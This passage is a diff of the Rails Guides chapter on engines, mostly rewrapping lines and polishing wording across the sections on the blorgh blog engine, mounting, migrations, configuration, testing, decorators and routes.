should be the root +of the engine. Whenever someone goes to the root path where the engine is +mounted, they should be shown a list of posts. This can be made to happen if +this line is inserted into the `config/routes.rb` file inside the engine: ```ruby root to: "posts#index" ``` -Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now. +Now people will only need to go to the root of the engine to see all the posts, +rather than visiting `/posts`. This means that instead of +`http://localhost:3000/blorgh/posts`, you only need to go to +`http://localhost:3000/blorgh` now. -### Generating a comments resource +### Generating a Comments Resource -Now that the engine can create new blog posts, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. +Now that the engine can create new blog posts, it only makes sense to add +commenting functionality as well. To do this, you'll need to generate a comment +model, a comment controller and then modify the posts scaffold to display +comments and allow people to create new ones. -Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column. +From the application root, run the model generator. Tell it to generate a +`Comment` model, with the related table having two columns: a `post_id` integer +and `text` text column. ```bash $ rails generate model Comment post_id:integer text:text @@ -307,20 +465,26 @@ create test/models/blorgh/comment_test.rb create test/fixtures/blorgh/comments.yml ``` -This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`. Now run the migration to create our blorgh_comments table: +This generator call will generate just the necessary model files it needs, +namespacing the files under a `blorgh` directory and creating a model class +called `Blorgh::Comment`. Now run the migration to create our blorgh_comments +table: ```bash $ rake db:migrate ``` -To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link: +To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and +add this line before the "Edit" link: ```html+erb <h3>Comments</h3> <%= render @post.comments %> ``` -This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model: +This line will require there to be a `has_many` association for comments defined +on the `Blorgh::Post` model, which there isn't right now. To define one, open +`app/models/blorgh/post.rb` and add this line into the model: ```ruby has_many :comments @@ -336,15 +500,22 @@ module Blorgh end ``` -NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here. +NOTE: Because the `has_many` is defined inside a class that is inside the +`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` +model for these objects, so there's no need to specify that using the +`:class_name` option here. -Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`: +Next, there needs to be a form so that comments can be created on a post. To add +this, put this line underneath the call to `render @post.comments` in +`app/views/blorgh/posts/show.html.erb`: ```erb <%= render "blorgh/comments/form" %> ``` -Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial: +Next, the partial that this line will render needs to exist. Create a new +directory at `app/views/blorgh/comments` and in it a new file called +`_form.html.erb` which has this content to create the required partial: ```html+erb <h3>New comment</h3> @@ -357,7 +528,10 @@ Next, the partial that this line will render needs to exist. Create a new direct <% end %> ``` -When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines: +When this form is submitted, it is going to attempt to perform a `POST` request +to a route of `/posts/:post_id/comments` within the engine. This route doesn't +exist at the moment, but can be created by changing the `resources :posts` line +inside `config/routes.rb` into these lines: ```ruby resources :posts do @@ -367,7 +541,8 @@ end This creates a nested route for the comments, which is what the form requires. -The route now exists, but the controller that this route goes to does not. To create it, run this command: +The route now exists, but the controller that this route goes to does not. To +create it, run this command from the application root: ```bash $ rails g controller comments @@ -392,7 +567,10 @@ invoke css create app/assets/stylesheets/blorgh/comments.css ``` -The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`: +The form will be making a `POST` request to `/posts/:post_id/comments`, which +will correspond with the `create` action in `Blorgh::CommentsController`. This +action needs to be created, which can be done by putting the following lines +inside the class definition in `app/controllers/blorgh/comments_controller.rb`: ```ruby def create @@ -408,119 +586,182 @@ private end ``` -This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: +This is the final step required to get the new comment form working. Displaying +the comments, however, is not quite right yet. If you were to create a comment +right now, you would see this error: -``` -Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: - * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" - * "/Users/ryan/Sites/side_projects/blorgh/app/views" +``` +Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], +:formats=>[:html], :locale=>[:en, :en]}. Searched in: * +"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * +"/Users/ryan/Sites/side_projects/blorgh/app/views" ``` -The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class. +The engine is unable to find the partial required for rendering the comments. +Rails looks first in the application's (`test/dummy`) `app/views` directory and +then in the engine's `app/views` directory. When it can't find it, it will throw +this error. The engine knows to look for `blorgh/comments/comment` because the +model object it is receiving is from the `Blorgh::Comment` class. -This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it: +This partial will be responsible for rendering just the comment text, for now. +Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this +line inside it: ```erb <%= comment_counter + 1 %>. <%= comment.text %> ``` -The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. +The `comment_counter` local variable is given to us by the `<%= render +@post.comments %>` call, which will define it automatically and increment the +counter as it iterates through each comment. It's used in this example to +display a small number next to each comment when it's created. -That completes the comment function of the blogging engine. Now it's time to use it within an application. +That completes the comment function of the blogging engine. Now it's time to use +it within an application. -Hooking into an application +Hooking Into an Application --------------------------- -Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine. +Using an engine within an application is very easy. This section covers how to +mount the engine into an application and the initial setup required, as well as +linking the engine to a `User` class provided by the application to provide +ownership for posts and comments within the engine. -### Mounting the engine +### Mounting the Engine -First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this: +First, the engine needs to be specified inside the application's `Gemfile`. If +there isn't an application handy to test this out in, generate one using the +`rails new` command outside of the engine directory like this: ```bash $ rails new unicorn ``` -Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. +Usually, specifying the engine inside the Gemfile would be done by specifying it +as a normal, everyday gem. ```ruby gem 'devise' ``` -However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`: +However, because you are developing the `blorgh` engine on your local machine, +you will need to specify the `:path` option in your `Gemfile`: ```ruby gem 'blorgh', path: "/path/to/blorgh" ``` -As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine. +Then run `bundle` to install the gem. -To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file: +As described earlier, by placing the gem in the `Gemfile` it will be loaded when +Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then +`lib/blorgh/engine.rb`, which is the file that defines the major pieces of +functionality for the engine. + +To make the engine's functionality accessible from within an application, it +needs to be mounted in that application's `config/routes.rb` file: ```ruby mount Blorgh::Engine, at: "/blog" ``` -This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`. +This line will mount the engine at `/blog` in the application. Making it +accessible at `http://localhost:3000/blog` when the application runs with `rails +server`. -NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. +NOTE: Other engines, such as Devise, handle this a little differently by making +you specify custom helpers (such as `devise_for`) in the routes. These helpers +do exactly the same thing, mounting pieces of the engines's functionality at a +pre-defined path which may be customizable. ### Engine setup -The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: +The engine contains migrations for the `blorgh_posts` and `blorgh_comments` +table which need to be created in the application's database so that the +engine's models can query them correctly. To copy these migrations into the +application use this command: ```bash $ rake blorgh:install:migrations ``` -If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead: +If you have multiple engines that need migrations copied over, use +`railties:install:migrations` instead: ```bash $ rake railties:install:migrations ``` -This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: +This command, when run for the first time, will copy over all the migrations +from the engine. When run the next time, it will only copy over migrations that +haven't been copied over already. The first run for this command will output +something such as this: ```bash Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh ``` -The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. +The first timestamp (`[timestamp_1]`) will be the current time, and the second +timestamp (`[timestamp_2]`) will be the current time plus a second. The reason +for this is so that the migrations for the engine are run after any existing +migrations in the application. -To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. +To run these migrations within the context of the application, simply run `rake +db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the +posts will be empty. This is because the table created inside the application is +different from the one created within the engine. Go ahead, play around with the +newly mounted engine. You'll find that it's the same as when it was only an +engine. -If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`: +If you would like to run migrations only from one engine, you can do it by +specifying `SCOPE`: ```bash rake db:migrate SCOPE=blorgh ``` -This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code: +This may be useful if you want to revert engine's migrations before removing it. +To revert all migrations from blorgh engine you can run code such as: ```bash rake db:migrate SCOPE=blorgh VERSION=0 ``` -### Using a class provided by the application +### Using a Class Provided by the Application -#### Using a model provided by the application +#### Using a Model Provided by the Application -When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense. +When an engine is created, it may want to use specific classes from an +application to provide links between the pieces of the engine and the pieces of +the application. In the case of the `blorgh` engine, making posts and comments +have authors would make a lot of sense. -A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class. +A typical application might have a `User` class that would be used to represent +authors for a post or a comment. But there could be a case where the application +calls this class something different, such as `Person`. For this reason, the +engine should not hardcode associations specifically for a `User` class. -To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application: +To keep it simple in this case, the application will have a class called `User` +that represents the users of the application. It can be generated using this +command inside the application: ```bash rails g model user name:string ``` -The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use. +The `rake db:migrate` command needs to be run here to ensure that our +application has the `users` table for future use. -Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it. +Also, to keep it simple, the posts form will have a new text field called +`author_name`, where users can elect to put their name. The engine will then +take this name and either create a new `User` object from it, or find one that +already has that name. The engine will then associate the post with the found or +created `User` object. -First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code: +First, the `author_name` text field needs to be added to the +`app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be +added above the `title` field with this code: ```html+erb <div class="field"> @@ -529,7 +770,8 @@ First, the `author_name` text field needs to be added to the `app/views/blorgh/p </div> ``` -Next, we need to update our `Blorgh::PostController#post_params` method to permit the new form parameter: +Next, we need to update our `Blorgh::PostController#post_params` method to +permit the new form parameter: ```ruby def post_params @@ -537,9 +779,15 @@ def post_params end ``` -The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it. +The `Blorgh::Post` model should then have some code to convert the `author_name` +field into an actual `User` object and associate it as that post's `author` +before the post is saved. It will also need to have an `attr_accessor` set up +for this field, so that the setter and getter methods are defined for it. -To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being. +To do all this, you'll need to add the `attr_accessor` for `author_name`, the +association for the author and the `before_save` call into +`app/models/blorgh/post.rb`. The `author` association will be hard-coded to the +`User` class for the time being. ```ruby attr_accessor :author_name @@ -553,7 +801,11 @@ private end ``` -By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table. +By representing the `author` association's object with the `User` class, a link +is established between the engine and the application. There needs to be a way +of associating the records in the `blorgh_posts` table with the records in the +`users` table. Because the association is called `author`, there should be an +`author_id` column added to the `blorgh_posts` table. To generate this new column, run this command within the engine: @@ -561,31 +813,41 @@ To generate this new column, run this command within the engine: $ rails g migration add_author_id_to_blorgh_posts author_id:integer ``` -NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. +NOTE: Due to the migration's name and the column specification after it, Rails +will automatically know that you want to add a column to a specific table and +write that into the migration for you. You don't need to tell it any more than +this. -This migration will need to be run on the application. To do that, it must first be copied using this command: +This migration will need to be run on the application. To do that, it must first +be copied using this command: ```bash $ rake blorgh:install:migrations ``` -Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. +Notice that only _one_ migration was copied over here. This is because the first +two migrations were copied over the first time this command was run. -``` -NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. -NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. -Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +``` +NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been +skipped. Migration with the same name already exists. NOTE Migration +[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration +with the same name already exists. Copied migration +[timestamp]_add_author_id_to_blorgh_posts.rb from blorgh ``` -Run this migration using this command: +Run the migration using: ```bash $ rake db:migrate ``` -Now with all the pieces in place, an action will take place that will associate an author - represented by a record in the `users` table - with a post, represented by the `blorgh_posts` table from the engine. +Now with all the pieces in place, an action will take place that will associate +an author - represented by a record in the `users` table - with a post, +represented by the `blorgh_posts` table from the engine. -Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`: +Finally, the author's name should be displayed on the post's page. Add this code +above the "Title" output inside `app/views/blorgh/posts/show.html.erb`: ```html+erb <p> @@ -594,13 +856,15 @@ Finally, the author's name should be displayed on the post's page. Add this code </p> ``` -By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly: +By outputting `@post.author` using the `<%=` tag, the `to_s` method will be +called on the object. By default, this will look quite ugly: ``` #<User:0x00000100ccb3b0> ``` -This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application: +This is undesirable. It would be much better to have the user's name there. To +do this, add a `to_s` method to the `User` class within the application: ```ruby def to_s @@ -608,50 +872,77 @@ def to_s end ``` -Now instead of the ugly Ruby object output the author's name will be displayed. +Now instead of the ugly Ruby object output, the author's name will be displayed. -#### Using a controller provided by the application +#### Using a Controller Provided by the Application -Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like: +Because Rails controllers generally share code for things like authentication +and accessing session variables, they inherit from `ApplicationController` by +default. Rails engines, however are scoped to run independently from the main +application, so each engine gets a scoped `ApplicationController`. This +namespace prevents code collisions, but often engine controllers need to access +methods in the main application's `ApplicationController`. An easy way to +provide this access is to change the engine's scoped `ApplicationController` to +inherit from the main application's `ApplicationController`. For our Blorgh +engine this would be done by changing +`app/controllers/blorgh/application_controller.rb` to look like: ```ruby class Blorgh::ApplicationController < ApplicationController end ``` -By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application. +By default, the engine's controllers inherit from +`Blorgh::ApplicationController`. So, after making this change they will have +access to the main application's `ApplicationController`, as though they were +part of the main application. -This change does require that the engine is run from a Rails application that has an `ApplicationController`. +This change does require that the engine is run from a Rails application that +has an `ApplicationController`. -### Configuring an engine +### Configuring an Engine -This section covers how to make the `User` class configurable, followed by general configuration tips for the engine. +This section covers how to make the `User` class configurable, followed by +general configuration tips for the engine. -#### Setting configuration settings in the application +#### Setting Configuration Settings in the Application -The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `author_class` that will be used to specify what the class representing users is inside the application. +The next step is to make the class that represents a `User` in the application +customizable for the engine. This is because that class may not always be +`User`, as previously explained. To make this setting customizable, the engine +will have a configuration setting called `author_class` that will be used to +specify which class represents users inside the application. -To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line: +To define this configuration setting, you should use a `mattr_accessor` inside +the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the +engine: ```ruby mattr_accessor :author_class ``` -This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.author_class`. +This method works like its brothers, `attr_accessor` and `cattr_accessor`, but +provides a setter and getter method on the module with the specified name. To +use it, it must be referenced using `Blorgh.author_class`. -The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this: +The next step is to switch the `Blorgh::Post` model over to this new setting. +Change the `belongs_to` association inside this model +(`app/models/blorgh/post.rb`) to this: ```ruby belongs_to :author, class_name: Blorgh.author_class ``` -The `set_author` method also located in this class should also use this class: +The `set_author` method in the `Blorgh::Post` model should also use this class: ```ruby self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name) ``` -To save having to call `constantize` on the `author_class` result all the time, you could instead just override the `author_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result: +To save having to call `constantize` on the `author_class` result all the time, +you could instead just override the `author_class` getter method inside the +`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the +saved value before returning the result: ```ruby def self.author_class @@ -665,82 +956,123 @@ This would then turn the above code for `set_author` into this: self.author = Blorgh.author_class.find_or_create_by(name: author_name) ``` -Resulting in something a little shorter, and more implicit in its behavior. The `author_class` method should always return a `Class` object. +Resulting in something a little shorter, and more implicit in its behavior. The +`author_class` method should always return a `Class` object. -Since we changed the `author_class` method to no longer return a -`String` but a `Class` we must also modify our `belongs_to` definition -in the `Blorgh::Post` model: +Since we changed the `author_class` method to return a `String` instead of a +`Class`, we must also modify our `belongs_to` definition in the `Blorgh::Post` +model: ```ruby belongs_to :author, class_name: Blorgh.author_class.to_s ``` -To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing. +To set this configuration setting within the application, an initializer should +be used. By using an initializer, the configuration will be set up before the +application starts and calls the engine's models, which may depend on this +configuration setting existing. -Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it: +Create a new initializer at `config/initializers/blorgh.rb` inside the +application where the `blorgh` engine is installed and put this content in it: ```ruby Blorgh.author_class = "User" ``` -WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on. +WARNING: It's very important here to use the `String` version of the class, +rather than the class itself. If you were to use the class, Rails would attempt +to load that class and then reference the related table. This could lead to +problems if the table wasn't already existing. Therefore, a `String` should be +used and then converted to a class using `constantize` in the engine later on. -Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is. +Go ahead and try to create a new post. You will see that it works exactly in the +same way as before, except this time the engine is using the configuration +setting in `config/initializers/blorgh.rb` to learn what the class is. -There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced. +There are now no strict dependencies on what the class is, only what the API for +the class must be. The engine simply requires this class to define a +`find_or_create_by` method which returns an object of that class, to be +associated with a post when it's created. This object, of course, should have +some sort of identifier by which it can be referenced. -#### General engine configuration +#### General Engine Configuration -Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines! +Within an engine, there may come a time where you wish to use things such as +initializers, internationalization or other configuration options. The great +news is that these things are entirely possible, because a Rails engine shares +much the same functionality as a Rails application. In fact, a Rails +application's functionality is actually a superset of what is provided by +engines! If you wish to use an initializer - code that should run before the engine is loaded - the place for it is the `config/initializers` folder. This directory's -functionality is explained in the -[Initializers section](configuring.html#initializers) of the Configuring guide, -and works precisely the same way as the `config/initializers` directory inside -an application. Same goes for if you want to use a standard initializer. +functionality is explained in the [Initializers +section](configuring.html#initializers) of the Configuring guide, and works +precisely the same way as the `config/initializers` directory inside an +application. The same thing goes if you want to use a standard initializer. -For locales, simply place the locale files in the `config/locales` directory, just like you would in an application. +For locales, simply place the locale files in the `config/locales` directory, +just like you would in an application. -Testing an engine ------------------ +Testing an engine ----------------- -When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine. +When an engine is generated, there is a smaller dummy application created inside +it at `test/dummy`. This application is used as a mounting point for the engine, +to make testing the engine extremely simple. You may extend this application by +generating controllers, models or views from within the directory, and then use +those to test your engine. -The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests. +The `test` directory should be treated like a typical Rails testing environment, +allowing for unit, functional and integration tests. -### Functional tests +### Functional Tests -A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application - the `test/dummy` application - rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this: +A matter worth taking into consideration when writing functional tests is that +the tests are going to be running on an application - the `test/dummy` +application - rather than your engine. This is due to the setup of the testing +environment; an engine needs an application as a host for testing its main +functionality, especially controllers. This means that if you were to make a +typical `GET` to a controller in a controller's functional test like this: ```ruby get :index ``` -It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also: +It may not function correctly. This is because the application doesn't know how +to route these requests to the engine unless you explicitly tell it **how**. To +do this, you must also pass the `:use_route` option as a parameter on these +requests: ```ruby get :index, use_route: :blorgh ``` -This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application. +This tells the application that you still want to perform a `GET` request to the +`index` action of this controller, but you want to use the engine's route to get +there, rather than the application's one. Improving engine functionality ------------------------------ -This section explains how to add and/or override engine MVC functionality in the main Rails application. +This section explains how to add and/or override engine MVC functionality in the +main Rails application. ### Overriding Models and Controllers -Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern. +Engine model and controller classes can be extended by open classing them in the +main Rails application (since model and controller classes are just Ruby classes +that inherit Rails specific functionality). Open classing an Engine class +redefines it for use in the main application. This is usually implemented by +using the decorator pattern. -For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`. +For simple class modifications, use `Class#class_eval`. For complex class +modifications, consider using `ActiveSupport::Concern`. -#### A note on Decorators and loading code +#### A note on Decorators and Loading Code Because these decorators are not referenced by your Rails application itself, -Rails' autoloading system will not kick in and load your decorators. This -means that you need to require them yourself. +Rails' autoloading system will not kick in and load your decorators. This means +that you need to require them yourself. Here is some sample code to do this: @@ -764,7 +1096,7 @@ that isn't referenced by your main application. #### Implementing Decorator Pattern Using Class#class_eval -**Adding** `Post#time_since_created`, +**Adding** `Post#time_since_created`: ```ruby # MyApp/app/decorators/models/blorgh/post_decorator.rb @@ -785,7 +1117,7 @@ end ``` -**Overriding** `Post#summary` +**Overriding** `Post#summary`: ```ruby # MyApp/app/decorators/models/blorgh/post_decorator.rb @@ -810,9 +1142,13 @@ end #### Implementing Decorator Pattern Using ActiveSupport::Concern -Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code. +Using `Class#class_eval` is great for simple adjustments, but for more complex +class modifications, you might want to consider using [`ActiveSupport::Concern`] +(http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). +ActiveSupport::Concern manages load order of interlinked dependent modules and +classes at run time allowing you to significantly modularize your code. -**Adding** `Post#time_since_created` and **Overriding** `Post#summary` +**Adding** `Post#time_since_created` and **Overriding** `Post#summary`: ```ruby # MyApp/app/models/blorgh/post.rb @@ -845,7 +1181,7 @@ module Blorgh::Concerns::Models::Post extend ActiveSupport::Concern # 'included do' causes the included code to be evaluated in the - # context where it is included (post.rb), rather than be + # context where it is included (post.rb), rather than being # executed in the module's context (blorgh/concerns/models/post). included do attr_accessor :author_name @@ -871,15 +1207,23 @@ module Blorgh::Concerns::Models::Post end ``` -### Overriding views +### Overriding Views -When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory. +When Rails looks for a view to render, it will first look in the `app/views` +directory of the application. If it cannot find the view there, it will check in +the `app/views` directories of all engines that have this directory. -When the application is asked to render the view for `Blorgh::PostsController`'s index action, it will look the path `app/views/blorgh/posts/index.html.erb`, first within the application. If it cannot find it, it will look inside the engine. +When the application is asked to render the view for `Blorgh::PostsController`'s +index action, it will first look for the path +`app/views/blorgh/posts/index.html.erb` within the application. If it cannot +find it, it will look inside the engine. -You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output. +You can override this view in the application by simply creating a new file at +`app/views/blorgh/posts/index.html.erb`. Then you can completely change what +this view would normally output. -Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it: +Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` +and put this content in it: ```html+erb <h1>Posts</h1> @@ -894,9 +1238,13 @@ Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` a ### Routes -Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash. +Routes inside an engine are isolated from the application by default. This is +done by the `isolate_namespace` call inside the `Engine` class. This essentially +means that the application and its engines can have identically named routes and +they will not clash. -Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this: +Routes inside an engine are drawn on the `Engine` class within +`config/routes.rb`, like this: ```ruby Blorgh::Engine.routes.draw do @@ -904,43 +1252,71 @@ Blorgh::Engine.routes.draw do end ``` -By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined. +By having isolated routes such as this, if you wish to link to an area of an +engine from within an application, you will need to use the engine's routing +proxy method. Calls to normal routing methods such as `posts_path` may end up +going to undesired locations if both the application and the engine have such a +helper defined. -For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine: +For instance, the following example would go to the application's `posts_path` +if that template was rendered from the application, or the engine's `posts_path` +if it was rendered from the engine: ```erb <%= link_to "Blog posts", posts_path %> ``` -To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine. +To make this route always use the engine's `posts_path` routing helper method, +we must call the method on the routing proxy method that shares the same name as +the engine. ```erb <%= link_to "Blog posts", blorgh.posts_path %> ``` -If you wish to reference the application inside the engine in a similar way, use the `main_app` helper: +If you wish to reference the application inside the engine in a similar way, use +the `main_app` helper: ```erb <%= link_to "Home", main_app.root_path %> ``` -If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on 